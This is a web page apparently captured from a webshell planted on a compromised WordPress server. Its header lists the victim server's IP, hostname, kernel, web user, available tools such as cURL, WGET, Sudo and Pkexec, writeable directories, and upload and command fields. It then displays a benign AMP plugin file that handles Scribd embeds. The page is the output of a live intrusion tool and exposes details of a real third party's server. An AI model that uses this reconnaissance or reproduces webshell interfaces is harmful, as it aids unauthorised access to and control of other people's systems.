403Webshell
Server IP : 178.212.43.201  /  Your IP : 10.100.0.33
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux spa0007.srv.paxillus.pl 5.4.17-2136.355.3.1.el8uek.x86_64 #3 SMP Sat May 9 17:11:55 PDT 2026 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/suzuki/wp-content/plugins/amp/includes/embeds/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/suzuki/wp-content/plugins/amp/includes/embeds/class-amp-scribd-embed-handler.php
<?php
/**
 * Class AMP_Scribd_Embed_Handler
 *
 * @package AMP
 * @since 1.4
 */

/**
 * Class AMP_Scribd_Embed_Handler
 *
 * @internal
 */
class AMP_Scribd_Embed_Handler extends AMP_Base_Embed_Handler {

	/**
	 * Registers embed.
	 */
	public function register_embed() {
		add_filter( 'embed_oembed_html', [ $this, 'filter_embed_oembed_html' ], 10, 2 );
	}

	/**
	 * Unregisters embed.
	 */
	public function unregister_embed() {
		remove_filter( 'embed_oembed_html', [ $this, 'filter_embed_oembed_html' ] );
	}

	/**
	 * Filter oEmbed HTML for Scribd to be AMP compatible.
	 *
	 * @param string $cache Cache for oEmbed.
	 * @param string $url   Embed URL.
	 * @return string Embed.
	 */
	public function filter_embed_oembed_html( $cache, $url ) {
		if ( ! in_array( wp_parse_url( $url, PHP_URL_HOST ), [ 'scribd.com', 'www.scribd.com' ], true ) ) {
			return $cache;
		}

		return $this->sanitize_iframe( $cache );
	}

	/**
	 * Retrieves iframe element from HTML string and amends or appends the correct sandbox permissions.
	 *
	 * @param string $html HTML string.
	 * @return string iframe with correct sandbox permissions.
	 */
	private function sanitize_iframe( $html ) {
		return preg_replace_callback(
			'#^.*<iframe(?P<iframe_attributes>[^>]+?)></iframe>.*$#s',
			function ( $matches ) {
				$attrs = $matches['iframe_attributes'];

				// Amend the required keywords to the iframe's sandbox.
				$sandbox  = 'allow-popups allow-scripts';
				$replaced = 0;
				$attrs    = preg_replace(
					'#(?<=\ssandbox=["\'])#',
					"{$sandbox} ", // whitespace is necessary to separate prior permissions.
					$attrs,
					1,
					$replaced
				);

				// If no sandbox attribute was found, then add the attribute.
				if ( 0 === $replaced ) {
					$attrs .= sprintf( ' sandbox="%s"', $sandbox );
				}

				// The iframe sanitizer will convert this into an amp-iframe.
				return "<iframe{$attrs}></iframe>";
			},
			$html
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit